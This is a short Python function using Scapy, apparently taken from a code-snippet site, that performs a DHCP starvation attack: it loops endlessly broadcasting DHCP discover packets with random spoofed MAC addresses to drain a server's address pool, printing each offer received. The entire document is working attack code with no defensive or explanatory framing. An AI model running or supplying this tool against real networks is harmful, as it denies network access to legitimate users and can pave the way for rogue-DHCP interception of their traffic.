cmd_dhcp_starvation.py 文件源码

def cmd_dhcp_starvation(iface, timeout, sleeptime, verbose):

    conf.verb = False

    if iface:
        conf.iface = iface

    conf.checkIPaddr = False

    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    ip = IP(src="0.0.0.0",dst="255.255.255.255")
    udp = UDP(sport=68, dport=67)
    dhcp = DHCP(options=[("message-type","discover"),"end"])

    while True:
        bootp = BOOTP(chaddr=str(RandMAC()))
        dhcp_discover = ether / ip / udp / bootp / dhcp
        ans, unans = srp(dhcp_discover, timeout=1)      # Press CTRL-C after several seconds

        for _, pkt in ans:
            if verbose:
                print(pkt.show())
            else:
                print(pkt.sprintf(r"%IP.src% offers %BOOTP.yiaddr%"))

        sleep(sleeptime)